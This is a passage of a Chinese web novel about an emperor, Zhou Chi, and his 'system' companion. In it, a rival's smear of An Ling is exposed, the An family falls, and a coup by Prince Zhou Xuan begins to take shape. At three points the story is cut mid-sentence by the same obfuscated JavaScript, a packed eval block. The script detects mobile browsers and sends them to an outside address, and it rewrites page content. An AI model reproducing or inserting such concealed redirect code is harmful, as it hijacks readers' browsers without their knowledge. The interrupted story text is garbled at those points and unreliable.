她走到书案前,铺开一张素笺,提笔蘸墨,行云流水般写下一封书信。待墨水风干,她将信纸折好,放入一个没有任何标记的信封里,做完这些,她才喊来自己的心腹丫鬟。 “将这封信交给常来府里送菜的婆子,不需经过其他人的手。” 那丫鬟似是对此事习以为常,并未多问,就将信封收入袖中,恭敬道:“是,小姐。” 林芷嫣点点头,又道:“做完这件事,你再去从库房里取出几件像样的首饰,我有用处。” 那丫鬟应了一声,然后就退下了。 做完这一切,林芷嫣坐回台前,看着她被铜镜映照出的模样,眼神逐渐变得幽深。 “可惜了这枚铜黛。”她俯身从满地狼藉中拾起那断成两截的铜黛,指尖拂过断处,轻轻叹了口气。 她随手将断黛丢弃,又取了一枚新的铜黛,重新描画眉形。待她的心腹丫鬟回来时,她已穿戴完整,独坐在木椅上闭目养神。 “二小姐,事情都办妥了。” 闻言,林芷嫣缓缓睁开眼,看向丫鬟手中的木盒,嘴角上扬。 12. 你似乎并不需要我 不知是不是周池的错觉,他总觉得那日系统发现记忆有问题之后,就一直闷闷不乐。 这个发现让周池有些不适应,他开始想办法让系统变得开心一些,但无论做什么都无济于事,系统始终提不起兴趣。 这天,周池处理完朝政,突然接到暗哨传来的消息,说安家长女昨日去寺庙祈福,结果在回府的山路上遇到贼匪,至今还未找到她的下落。 事关任务进度,林清许来了精神:“是不是林芷嫣下手了,不然安玲身为未来的王妃,身边定有不少护卫随行保护,怎会抵不过几个山匪?” 周池合上密报,在脑海中回道:“看来这几日,你的确没注意我究竟在做什么事。” “啊,有吗?”林清许愣住了,心虚地摸了摸鼻尖,仔细回想。过了片刻,她才恍然大悟,“我想起来了,两天前有人来报,说是有几个行迹可疑之人往京郊去了,我当时还没放在心上,原来那时你就知道这些是林芷嫣的人。” “不仅如此,我还派表哥前去,确保安玲不会出事。林芷嫣想要安玲的命,可我偏不遂了她的愿,而且想要让安家倒台,安玲的命得留着。” 林清许这才注意到,这几日周池案头的密报格外频繁,只是她沉浸在自己的思绪里,未曾细想。 沉默片刻后,她低声说:“身为系统,我本应时刻保持敏锐,协助你完成任务,这次是我失职,我发誓,以后不会再这样了。” 周池摇了摇头,安慰道:“倒也不必一直紧绷着,况且这次你也没做错什么,又何谈失职?” 说完,他话锋一转,语气带了几分无奈:“不过,表哥那边却出了岔子,安玲是救下了,但护送她回府时,这几个人都迷了路。人虽无事,但安家长女一夜未归,流言四起,这恭亲王妃她恐怕做不成了。” 安玲回府路上遭遇山匪,又被齐海宽一行人所救,哪怕是路上耽误了时间,第二日才将人送回安府,也算不上大事。 只要安家愿意遮掩,未必不能将这一夜含糊过去。然而林芷嫣却早已布下后手,还未等安玲回府,流言便传遍了整个京城。 茶楼酒肆里有人绘声绘色地讲述安家小姐如何被贼匪掳走,期间遭遇更是说得不堪入耳。更有甚者,竟说他亲眼所见,安玲被救回时衣衫不整、鬓发散乱。 这些流言传得太快,安家即便是想压也压不住,而周玄也绝不会娶一个名声有瑕的女子为妻,如此一来,无论是周玄悔婚,还是安家悔婚,两方都必生嫌隙。 林清许听得心惊,忍不住感叹:“不愧是林芷嫣,下手又快又狠。” 她抬头瞥了一眼能量条,又轻声问道:“需要我帮忙吗?” 周池:”不必。” 林清许愣了一下,半晌才回了声:“哦。” 一阵失落感涌上心头,她如今能量充沛,周池的任务也越来越难,可她却闲了下来。 察觉到她的沉默,周池多了几分在意:“怎么,不高兴了?” 林清许抿了抿嘴唇,轻叹道:“也不算吧,就是觉得没事情做,有点无聊。还有就是,觉得你似乎并不需要我。” 周池有些不明白:“为何会这样想?” 林清许回道:”因为这个任务我都没能帮上忙,一直都是你自己在处理,而且之前的任务也是,我只做了些辅助工作,真正拿主意的还是你。” 听到原因,周池忍不住笑出了声。 “原来是因为这个,但你与我绑定时,我不是与你约定好,任务如何完成由我说了算,你不可干涉吗?”周池眉眼弯弯,目光柔和,“当时你可是答应了的,现在是想反悔吗?” “没有反悔,只是感觉之前……”林清许急忙解释,可话没说完她又顿住了。 不对啊,之前周池确实这样说过,她当时也没太大的反应,怎么现在却觉得周池本应事事都听从她的话呢? 她没再继续往下说,周池也没有接着问,因为外面传来了脚步声——齐海宽回来了。 齐海宽风尘仆仆地走进书房,眉宇间带着一丝疲惫。 “属下办事不力,请陛下责罚。” 周池抬手示意他起身:“此事不怪你,有人布局在先,能保住安玲的性命就好。这几日表哥辛苦了,快去休息吧。” 齐海宽站起身来,并未立刻退下,他犹豫片刻,还是拱手道:“陛下,安小姐回府前,曾私下向我道谢,还旁敲侧击询问我的身份。她虽未挑明,但我觉得,她似乎认出我了。” 周池抬起的手停顿在空着,神色不可置信:“这怎可能?” 除了与他相熟的亲朋好友,旁人怎会知晓他的模样?何况这么多年过去,在北境风沙的侵蚀下,他的容貌已较从前大不相同。 安玲为安家三子的长女,与齐家素无往来,她又养在深闺中,鲜少出门,怎会认出齐海宽的身份? “朕知道了,你去休息吧。” 待齐海宽离开后,御书房内陷入一片沉寂。 林清许的声音适时响起,带着几分犹豫:“这个安玲似乎有点说法啊,你说有没有一种可能,她是故意迷路的,因为不想当恭亲王妃?” 周池回到座椅上,感慨道:“倘若是真的,那她还真有魄力。” 他提笔写下几行字,墨迹干涸后,叫来了隐于暗处的暗哨。 “按照朕的吩咐去做。”他将纸张递给暗哨,随后安心坐在桌案前,闭目养神。 林清许一直看着光屏里周池的动作,自然也看清了他的字迹。 “你这是要帮安玲洗清名声?” 周池缓缓道:“只是想帮她一把,毕竟一开始是我将她牵扯进来的。” 林清许默默点头表示赞同。 没过几天,京城中又有人说,那日安小姐回府时受到惊吓,但身边有可靠的仆妇丫鬟陪伴,身上也穿戴整齐,不似传言中那般不堪。 与此同时,安太傅因孙女遇险心忧不已,一连数日没有上朝。某天,他收到一封不知名的信件,信中写道,安玲祈福路上遭遇山匪并非偶然,而是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214099|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人特意安排。 安太傅十分恼怒,动用关系暗中调查,发现矛头竟指向了丞相府的二小姐。他心中不解,又往深处追查,却发现指向林芷嫣的证据背后,竟还有恭亲王周玄的影子。 安太傅又惊又怒,先是暂停了手上的追查,随后约束府中下人,不许议论大小姐祈福遇险之事。将查到的线索锁入木匣后,他担心孙女再次受到林芷嫣的迫害,于是打算向周玄与周池表明,退了这门亲事。 然而,还没等他开口,周玄便抢先一步,以“安玲身负流言,有损皇家清誉”为由,请周池收回赐婚诏书。 安太傅得知消息后,气得几乎昏厥。他给身为太后的女儿写了家书,问及周玄与安玲的婚事。不久后,他便收到了安享月的回信。 “玄儿是哀家唯一的儿子,更是皇家血脉,如今安玲之事闹得满城风雨,虽系奸人构陷,但皇家颜面不容有失。若强行维系婚约,不仅玄儿难堪,安玲也会遭人非议,处境艰难。” 握着这张薄薄的信纸,安太傅只觉得心寒。十多年来,他为了女儿和外孙,在朝堂上殚精竭虑,甚至不惜违背本心,做了一些伤天害理之事。 可如今,女儿当上太后,外孙成了亲王,两人为了保全颜面,不惜毁了母家侄女的清白与前程。 安太傅的手颤抖着,将信纸放置在烛火上,最终化作一缕青烟。与此同时,他心中那对女儿的情分与期望,也跟着信纸焚烧殆尽。 翌日,安太傅于朝堂之上弹劾丞相长子林鸣贪墨军粮,纵仆行凶。他言语激昂,列出数道证据,引得朝堂一片哗然。 林鸣此时不在京城,于是林宿赶忙上前为长子辩解,然而周池并未表态,而是命人将安太傅呈上的证据收下,交由刑部与大理寺一同核查,并下旨急召林鸣回京。 系统空间内,林清许看着事态的发展,两眼放光:“这俩老头好像要撕破脸了,话说安家是不是也干过不少坏事儿,林宿醒过神很快就会反击回来吧?” 周池下了早朝正往回走,闻言不免轻笑道:“你说的不错,我们就坐等他们两败俱伤吧。” 周池走入御书房,屏退左右,坐到桌案旁,随手翻开一份折子,眉头一挑。 “秦屿办起事来效率还挺快。” 闻言,林清许看着奏折上的内容,心中讶然。 “这道折子上的东西,和从前那些不一样了。”林清许惊喜道,“你再翻几份,看看内容正不正常。” 周池照做,一连翻了好几份,果然与之前大有不同。之前的折子里写的都是些鸡毛蒜皮的小事,而现在的折子里却有了真正需要皇帝过目的政务。 江南堤防的修葺进度,北境军田的开垦成效,明年漕粮预算的初步条陈,以及偏远州县呈报的奇闻异事…… “这下终于是步入正轨了。”林清许舒了口气,用开玩笑的口吻道,“苍兰国的国运可真是好,之前官员的折子都递不到御前,竟然也没出乱子。” 闻言,周池嘴角笑容一滞,眉头紧皱。 13. 金灯花 秦屿的父亲乃正三品翰林学士,但他先前被周玄笼络,于是借职务之便,暗中扣下不少事关紧要的奏折。 不过前段时间周玄被禁足,安家又与周玄离了心,秦尚舟惯会审时度势,再加上秦屿的传话,他瞬间倒戈向周池,恢复了正常的文书运转。 一切都在朝着更好的方向发展,但林清许不经意间的话,却让周池意识到了异常。 他之前几年因失忆而信任安享月母子,在朝中没有自己的亲信,还日常被蒙蔽圣听,几乎成了被架空的傀儡。 可与之相对的,苍兰国并未陷入动乱,反而百姓安居乐业,边境尚且安稳,没出一丁点儿乱子,这就有些说不过去了。 饶是像系统所说的,这里是话本里的世界,也不应如此。更何况,他并不是话本里的主角,而是与主角作对的反派男配。 “系统,你觉不觉得,任务进展得太顺利了。”沉吟片刻后,周池出声问道。 林清许还沉浸在喜悦中,脱口而出:“是挺顺利的,但前几次不也是这样嘛。” 周池心沉了下去,眼神有些迷茫。 他似乎还忘记了一件重要的事情,是什么呢? 周池冥思苦想,怎么也想不出个所以然。这时,外面传来了通禀声:“陛下,安太傅前来求见。” 周池收敛心神,看着安太傅步履蹒跚地走进来,心里毫无波澜。 “太傅前来,是为了方才朝堂上发生的事?” 安太傅苦笑着摇摇头,眉目间尽是疲惫之意。 “陛下,老臣有三个儿子,长子体弱,于数年前病故,次子顽劣,目无尊长。”安太傅声音发颤,话语中带着几分痛苦,“唯有三子安文松,天资不算出众,但心地仁厚,做事勤勉,其女安玲更是孝顺聪慧。老臣今日斗胆前来,不仅是为了林家之事,更是向陛下请罪。” 他俯下身子,深深叩首。看着他这个样子,林清许有些不忍,但她深知此刻不是心软的时候。 周池命宫人搬来板凳,让安太傅坐下说话,毕竟他已年近古稀,头发花白,一直在地上跪着,身子骨哪受得了? 坐下后,安太傅将这么多年来,他为儿女所做之事倾述而出。周池端坐台案后,面上看不出什么表情,直到他从板凳上起身,再次跪倒在案前,周池才眯起眼角,神色复杂地望着他。 “老臣别无所求,只求陛下能给文松及其妻女一条活路!”安太傅匍匐在地,浑浊的双眼中流出两行清泪。 “朕准了,你且回府等着吧。” 周池缓缓站起身,踱步走出了御书房,不知不觉间,他已走到了御花园。 御花园内种着许多奇花异草,如今正值初秋,池里的千瓣莲已经凋谢,但桂花的香气却甜得发腻。周池沿着石子路往前走,在一棵金桂树下停住脚步。 “你应当听见了,母后的死果然是安享月造成的,安太傅他承认了。” 周池轻声说着,伸手摸了摸粗糙的树干,随后紧紧闭上双眼。 “有了安太傅提供的证据,谋害皇后皇子、科举徇私舞弊、贪墨赈灾漕粮……这些罪名足够将安家拉入泥潭,过几日朕下旨将安家人关押,任务就……” “周池!”林清许心中酸涩,忍不住开口打断了他的话,“这种时候,就别提任务了。” 还硬撑着做什么呢?明明很在意母亲去世的真相,却在旁人面前装作若无其事,又是何苦呢? 御花园内寂静无声,周池在金桂树旁站了许久,直到秋风卷起一朵桂花,落到周池的额发上,他才缓缓睁开眼睛,抬手拂下那朵桂花。 “其实我原本对安享月还是抱有一丝期望的,想着或许是一场误会,或许她是被人胁迫,才会去害母后。” 然而,安太傅却亲口承认,当年安享月觊觎后位,又怕齐瑶腹中又是个皇子,所以向家中写信,要来了能让女子身体虚弱,生产时血流不止的毒药。 “真相既是如此,我便没什么顾虑了。” 周池扬起嘴角,笑得有点瘆人。 “迟则生变,趁着安家势要与林家以及太后母子鱼死网破的当口,送他们一程,也不知道安太傅过了气头,会不会后悔。” 林清许默默给这几个人点蜡,心想这老头该说的不该说的都说完了,就算后悔也没用。 周池侧身朝深处走去,林清许顺着他的视线,看到了各种各样的菊花,以及大朵的红色月季花,还有很多她叫不上名字来的花草,顿时感叹出声。 周池脚步微顿,望着天上的太阳,心思一动,转身朝御花园西侧走过去。 见周池去的地方越来越荒芜,林清许有些疑惑,但想到他现在心情不好,所以没再多问。 很快,周池看到了那座熟悉的假山,他步伐加快,走到假山的背阴处,望着那一片夺目的红色,轻声问道:“好看吗?” 林清许已被眼前的景象震慑住心神。 这些花开得正艳,细长的红色花瓣向后翻卷着,茎干没有叶片,一眼看过去就像是一团团火焰在燃烧着。 “这是什么花?”林清许直直地望着花田,呢喃道,“我从没见过这种花,它们好漂亮。” “这是金灯花。”周池轻声道,“母后喜欢侍弄花草,所以常带我来御花园里,有时她也会派人请云夫人和阿妤进宫,我们四人一同在御花园赏花。不过,母后与云夫人常说些隐秘的话,又不让我和阿妤听见,就让我们两个自己去玩。” 他望着这一小片金灯花,眸色染上几分暖意:“这个地方是阿妤偶然发现的,这些花的名字也是她告诉我的,她很喜欢金灯花,说是这花喜欢长在背阴处,却开得鲜活艳丽。” 林清许的注意力从金灯花上移开,落回到周池身上。看着他满是怀念与哀伤的神色,林清许心中忽然泛起一阵奇怪的情绪。 周池声音低缓,继续道:“那时我总以为,往后的日子会一直这样下去,等我们再长大些,或许……” 他顿了顿,没有再说下去。 可惜齐瑶死后,这块地方被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222697|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过路的宫人发现了。有人说此花象征着生死之别,乃不祥之物,想要将它们铲除。 若不是周池及时拦下,今日他们就看不到这些金灯花了。 但阿妤死后,周池失去了有关阿妤的记忆,自然也忘了这片金灯花田。 失忆像一层厚厚的纱,将他生命里最珍视的东西都蒙住了,好在这些花还开着,没有随之消逝。 * 几日后,朝堂震动。 安太傅上书自陈罪状,桩桩件件,皆是证据确凿,惹得满朝哗然。 因此,周池于朝堂下旨,将安享月削去太后尊号,贬为庶人,打入冷宫,安氏一族凡涉事者皆下狱候审,家产抄没充公。 至于周玄,他努力撇清自己和安家的关系,一口咬定这些事情全都与他无关。 没有确凿的证据,周池也没为难他,只是让他最近安分守己,继续在恭亲王府待着,非召不得外出。 安家倒台,秦尚舟倒向周池,林丞一直摇摆不定,因此朝中没几个人再敢为周玄说话。 旨意下达时,安府已是一片混乱,安太傅待在屋里闭门不出,府中女眷哭作一团,唯有安玲出奇地平静。 她换上一身素衣,走到祖父房前,跪下磕了三个头。 “孙女不孝,不能承欢膝下,但请祖父放心,孙女会照看好父亲母亲,不让您担忧。” 安太傅仍将自己关在房内,虽未言语,却已是老泪纵横。 抄家的官兵很快包围了安府,一箱箱金银珠宝、古玩字画被官兵抬出,曾经显赫一时的安家,转眼间便门庭萧索。 消息传到宫中时,周池正在批阅奏折。 “陛下,”一名内侍小心翼翼禀报,“冷宫那边传话,安氏想见您一面。” 周池十分干脆:“不见。” “可她说,有些关于齐太后的事,想当面告诉陛下。” 周池放下笔,抬眼看了他一眼,缓缓道:“齐太后的事,朕知道得足够多了,安氏若还想说什么,就去地底下亲自向她忏悔吧。” 内侍应了一声,躬身退下。 见状,林清许开口道:“为何不去,万一她真的知道些什么秘密呢?” “她哪里还知道什么,无非是那些肮脏手段,不听也罢。” 他继续批阅奏折,神情专注,仿佛刚才只是发生了一件再平常不过的小事。 林清许叹了一口气,操作控制台查看任务面板。 【主线任务:最终任务,清缴朝中奸佞,任用贤能之辈,做一个明君】 能量再次涌来,林清许看了一眼,能量条已经快要满了。 “恭喜宿主,只剩最后一个任务了。”林清许眨了眨眼睛,语气轻快。 周池手指一顿,墨水顿时落到纸上,洇开一团墨痕。 “是吗,这进度真是够快的。话说,如果任务全部完成,你是不是就要离开了?” 周池将染了墨迹的纸张移到一旁,重新铺开一张,然而笔尖却迟迟没有落下。 14. 重逢 林清许没想到他会突然问起这个,一时间有些语塞。 说起来,当初那个金眸男人真没说错,她运气很好,第一次任务就能遇到自己看过的小说世界里,宿主还是这个世界里的皇帝,做起任务来得心应手,效率那叫一个高。 与此同时,每做完一段主线任务,回馈给她的能量也要比手册里写的要高很多,不仅方便她协助周池做任务,也让她只用进一个任务位面,就能攒满能量,回到自己原来的世界。 可是,这也意味着她很快就要离开了。 “我……” 话未说完,就被周池的一阵轻笑声打断。 “完成任务是好事,怎的还不说话了,难道你舍不得走?”他嘴角噙着笑意,目光却静如深潭,“不过,认识这么久,我只知道你是系统,却不知你的名字。” 名字? 林清许翻了翻手册,里面并没有不许透露自己名字的规定。 “林清许。”她轻声道,“这就是我的名字,我叫林清许。” 然而,周池的反应却不太正常。 “你叫什么,为何我听不清?” 见周池疑惑地皱眉,林清许又重复了几遍,却发现他没有反应。 看来是不允许向宿主透露自己的名字,她说的话应该是被自动屏蔽掉了。 “有些遗憾,规则不允许我说出自己的名字。” 周池扯了扯嘴角,安慰道:“无妨。” 说完,他抬手蘸了蘸墨,在纸上写写画画。忽然,他感觉有一道阴影挡在他的身前,抬头一看,却见一个穿着粉白色衣服,眉眼温润的女子笑吟吟地看向他。 周池没握住手中的笔,任其掉落在地上。 强烈的喜悦感冲击着他的大脑,让他感到一阵眩晕。他浑身颤抖,甚至忽视了身前的桌案,想要过去抱住面前这人。 果然是她,真的是她! 自从恢复记忆后,周池几乎每次做梦都会梦见阿妤的脸,而这次却不是做梦。 原本林清许想着,虽然周池听不到她的名字,但她可以在外面化出实体,和周池见上一面。 万万没想到,周池看到她的样子后居然跟发了疯一样,直接就要往她身上扑,吓得林清许赶紧撤了能量,回到系统空间里。 然而周池仍在穷追不舍:“系统,方才那个人是你吗?” 林清许哪里敢承认,只得装傻:“啊,你说什么?刚才哪有别人啊,你是不是出现幻觉了?” 闻言,周池感觉浑身被浇了一盆冷水。 “只是幻觉吗?”他喃喃自语,捡起掉落在地上的笔,坐回书案旁。 过了一会儿,林清许为了缓和气氛,用能量变出两个金灯花形状的糖人,将其中一个给了周池。 能量变出的糖人十分逼真,周池盯着它看了又看,才忍不住开口道:“金灯花有毒,不可入口。” 林清许:“这是我用能量变出来的,没有毒放心吃。” 此时,周池的情绪也已缓和过来,他一边咬着糖人一边作画,很快就把糖人吃完了。 * 丞相府,林宿书房内。 林芷嫣捧着手抄的经书,跪在林宿身后,身形端正。 “父亲,女儿知道错了,还请父亲宽恕。” 林宿背对着她,不肯转身,训斥道:“你这孽女,竟背着我去招惹安家,如今安家宁愿锒铛入狱也要拉我林氏一族下水,你就是知错了又有何用?” 屋外,林宿的妻子端着茶水,脚步轻快地踏入书房。她先是看一眼在地上跪得笔直的女儿,又看了一眼仍在气头上的丈夫,轻轻叹了口气。 她将茶水放在桌案一角,声音放缓:“夫君,事已至此还是先消消气吧,为鸣儿脱罪才是当务之急。” 林宿猛地转身,额角青筋乍现,他指着林芷嫣,脸上怒火不减:“若不是她非要动安玲,安老头也不会揭露出鸣儿做的事来,如今证据确凿,即便是想为鸣儿脱罪,也有心无力。不仅如此,倘若在借此查出些旁的事情,我林氏一族下场只会比安家更惨。” 林芷嫣咬着牙,低垂着头不敢看林宿的眼睛。 见她这副样子,林宿更气了,他抄起桌案上的茶盏就要往林芷嫣身上砸去。金夫人眼疾手快,侧身挡在女儿身前,茶盏摔碎在她的脚边,滚烫的茶水飞溅开来,浸润了她的衣角。 “夫君一味责罚嫣儿又有何用?”金夫人声音陡然拔高,“若不是你只想着让女儿进宫,她又怎会为了嫁给恭亲王,去败坏安家女儿的名声?” 她话锋一转,又道:“更何况,这本就是女儿家的小打小闹,只怪安家小题大做,竟要与我们拼个鱼死网破!” 林宿闻言,先是一愣,随即一股更为猛烈的怒火冲上心头。 “让她进宫,那是为了林家的前程,这两件事如何能混为一谈?” 林宿的手悬在半空,他声音嘶哑,声音因怒意而微微发颤:“妇人之见,林家前程系于朝堂,岂容她为一己私情毁于一旦!” 金夫人却将女儿护得更紧,听到林宿冠冕堂皇的话,她忽地冷笑:“夫君当年为攀附金家,不也是用这种手段污了云家小姐的名声吗?如今女儿做了与你当年一样的事,你倒教训起来了。” 书房的气氛变得死寂,林宿脸色苍白,后退半步,扶住了身后的木椅。 林芷嫣跪在地上,指甲深深掐进掌心,眼神却晦暗不明。 良久,林宿才平静下来,疲惫地看着金夫人:“陈年旧事,提它何益。” 随后,他移开目光,转向窗外的暮色。 “明日一早,送嫣儿去城外的庄子上住一段时间,对外就说她心忧兄长,染了风寒,需要静养避人。” “父亲!”林芷嫣猛地抬头,眼中尽是不甘与惊惶。 金夫人却按住了女儿的肩膀,力道之大让林芷嫣有些吃痛。她脸上已换了平静神色,甚至对林宿微微颔首:“夫君思虑周全。” 林宿挥了挥手:“都下去吧。让我静一静。” 母女二人退出书房,回廊下光影摇曳,金夫人屏退左右,这才松开女儿,低声道:“听你父亲的话,若是见势不妙,你就想办法离开京城。” 林芷嫣浑身冰凉:“母亲,可我……” “没有可是!”金夫人压低声音道,“你以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230965|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为你父亲只是怕鸣儿的事?你父亲这些年,手底下不干净的事多了,哪一桩查出来都是抄家灭门的祸事,他怕的是宫里那位!” 见林芷嫣吓得脸色苍白,她心中不忍,她袖中取出一个锦袋,塞进林芷嫣手中。 “这里面有些银钱,还有南下的路引文书。若情况不对,你就赶紧离开,若我林家不能安然度过此劫,你就……” 她顿了顿,声音哽咽:“你就永远不要再回来,隐姓埋名,好好过日子。” 林芷嫣紧紧握住锦袋,低垂着头,掩去眸中翻涌的暗流,声音低哑:“女儿明白了。” 然而,隐姓埋名,抛弃过往一切尊荣与身份,这真的是她想要的出路吗? 那日,林芷嫣借道喜之名,前去安府拜访安玲。她原本没起杀心,可看到那张清高淡然的脸,那张与林清许有几分相像的脸,她的心就像是疯魔一般,叫嚣着想要杀了她。 凭什么安家能把她逼到这个地步,凭什么? 一个危险的念头在她心里滋生,面上她却装作乖顺的样子,于是金夫人放松了警惕,只叮嘱了几句就离开了。 次日,马车载着林芷嫣驶向城外的庄子,行至半路,假意不适,要求停车休息。 就在护卫稍有松懈之际,她突然推开身边的丫鬟,往西边的山林跑去。 恭亲王在西郊有一处别院,她必须赌一把! 听着身后丫鬟、护卫们的呼喊与追赶声,林芷嫣拼了命地奔跑,直到一队人马从天而降,出现在她的身前。 “林小姐,你怎会在此?” 原本该在王府禁足的周玄不知为何出现在了这里,林芷嫣大喜,直接跪倒在他的马前,泣声道:“还请王爷救我。” 周玄正在犹豫,却见不远处有人影向这边过来,于是赶紧下马将人捞入怀中,然后带着随从往西边去了。 与此同时,系统空间里。 闲到快要长草了的林清许突然收到一条消息,看着光屏上的任务更新提示,她沉思片刻,默默调出了周玄的人物面板。 【姓名:周池】 【身份:苍兰国帝王】 【生命值:92%】 【当前状态:健康】 【主线任务:最终任务,清缴朝中奸佞,任用贤能之辈,做一个明君】 【支线任务:阻止周玄】 不是,哪来的支线任务啊?另外任务要求能不能说明白一点,就这四个字,她怎么知道是要阻止周玄做什么? “周池。”她在系统空间里开口,声音直接传入了周池的脑海,“我刚才收到了新任务提示,你多了一条支线任务,内容是‘阻止周玄’。” “阻止什么?” “不知道,任务里没有提。” 周池一愣,随即失笑道:“虽说之前的任务我都完成得不错,但这个主线任务发布得如此不清楚,我也不知该如何下手啊。” 林清许也很无奈:“这任务确实比较笼统,这样吧,我想办法看看周玄现在在做什么。” “不必。”周池果断阻止了她,“我在王府附近安插了暗哨,他有什么动静,我一问便知。” 15. 支线任务更新 得到暗哨送来的密报后,周池轻轻摩挲着信纸,会心一笑。 “周玄可真是闲不住,好好的恭亲王府不待,偏要跑到西郊的别院去。” “可是他为什么要去那里,他究竟要做什么,我们要阻止的事情会不会和这个别院有关?” 林清许一连抛出几个问题,却发现周池并未回答,只是望着殿中燃着的烛火暗自出神。 过了一会儿,外面传来细碎的脚步声,几个宫人慌慌张张地赶来,称有要事要禀告陛下。 “这几个人看起来好面熟。”林清许透过光屏仔细辨认着,突然她想起了什么,赶忙道,“他们是之前周玄在宫里安插的眼线,后来被你找出来策反的那几个。” 周池视线从烛火上移开,缓缓落到那几个宫人身上。他们低垂着头,神色慌张,脸色苍白,看上去真是遇见了什么大事。 “你们几个结伴前来,有何事相告?” 其中一个男人战战兢兢地向前挪了一步,声音细若蚊呐:“陛下,恭亲王他、他……” 见他如此胆怯,另外一个人忍不住了,走到他身前将事情的来龙去脉讲了个清楚。 “陛下,恭亲王今夜给奴才们传了信,后日子时,他将举兵逼宫,让奴才们届时在宫中准备,里应外合。” 联系到周玄的异常举动,林清许倒吸一口凉气。原来如此,京城西郊别院是周玄策划兵变的据点,这时候支线任务让阻止周玄,也就是阻止周玄造反啊。 周池却似早有所料,只淡淡“嗯”了一声,又低声问道:“他要你们怎么配合他,是趁着夜色寻机打开宫门,是探查后日夜间的守卫部署,还是……” 还未说完,几个宫人“扑通”一声跪倒在地,连连叩首。 “陛下明鉴,奴才们既已效忠陛下,岂敢再有二心!” 周池点了点头,声音平淡:“起来吧,今夜就当你们没收到他的消息,也未曾来过此处,该做什么便做什么,明白么?” 几人如蒙大赦,齐声应了声“是”,随后周池便摆了摆手,他们便躬身退下,很快便消失在殿外的长廊里。 “终究还是走到了这一步。”周池冷笑着道。 林清许倒是直截了当:“知道了这些,你有什么打算呢?” 就这么两天的时间,要做出多么周密的计划,几乎是不可能的。在她看来,想要阻止周玄造反,最行之有效的办法,应该是先派护卫军去城郊,把躲在别院的周玄给擒了。 不过这样也有可能打草惊蛇,而且任务怎么做还得看周池怎么想。 周池正要回答,却被一道匆匆忙忙闯入殿中的人影给打断了。 齐海宽毫不避讳,径直走到周池身前,神色凝重:“陛下,丞相府出事了。” 原来,林宿知道自己在劫难逃,于是暗中给林鸣寄去书信,严令其不得回京。林鸣心知回京必是死路一条,于是带着妻儿连夜潜逃,如今已不知去向。 不仅如此,林宿还给女儿林芷嫣安排了后路,可谁知,这林家小姐不愿就此离开,竟在半路下了马车,消失在山林里,下落不明。 林宿得到消息后,气得昏倒在地,金夫人急得浑身颤抖,却也无济于事。 “林家这是要坐实自己犯下的罪过,等不及进大牢了。” 周池当即决定顺水推舟,于是拟了诏书,将林府上下全部押入牢中,听候发落。 做完这一切,见齐海宽还站在原地,周池面露疑惑:“表哥还有何事?” 闻言,齐海宽眼神飘忽,语气吞吞吐吐:“倒也并非什么大事,只是关于安家三房……” 见他欲言又止,周池皱了皱眉:“怎么,他们想为安家其他人求情?” “那倒不是。”齐海宽摇了摇头,耳根微红,“是安玲小姐被流言所扰,想寻一门亲事。” 周池对此并无兴趣,但念及此事缘于他之前的赐婚,只好耐着性子问道:“她莫不是看上了哪家公子,想让朕重新为她赐婚?” 齐海宽脸颊泛红,缓缓点了点头。 待在系统空间里的林清许将他的反应看得一清二楚,她清了清嗓子,好心提醒道:“宿主你快上点心吧,看你表哥这反应,恐怕是看上安玲了。” 周池听到了提示,微微一愣,目光落到齐海宽的脸上,带着几分审视。 殿内气氛安静得有些微妙,察觉到齐海宽的情绪变化,周池声音缓和下来,声音带着几分促狭。 “表哥说安玲想寻一门亲事,可她父母健在,为何她却要和你说?难道是觉得这门婚事,你能替她做主?” 见齐海宽的头越来越低,周池轻笑一声,半拉半拽着赶人道:“好了,如今天色已晚,朕要歇息了,改日朕亲自问问安玲的意见,就不用你来传话了。” 殿门合上,周池抿着唇,在心里暗自吐槽道:“真是个闷葫芦。” 林清许撑着下巴,声音也带着笑意:“看来你表哥这是好事将近了。” 周池点头道:“是啊,不过眼下还不是操心婚事的时候。” 说完,他神色一凛,恢复了之前的冷峻。 “周玄想要逼宫,需要上千兵士为他效命,才有成功的把握。可短短两日,他无论如何也找不出这么多人,除非他早就安排好了,只要他能溜去西郊别院,就有办法将藏在各处的兵士召集起来,然后带兵逼宫。” 周池认真分析着,眼中闪过一丝锐利的光:“我想将他们一网打尽,所以这次恐怕要麻烦你了。” 突然有了事情做,林清许瞬间打起精神:“需要我帮忙做什么?” 周池轻笑道:“我想让你查一查林芷嫣的位置。” 林清许:“?” * 深夜,西郊别院内。 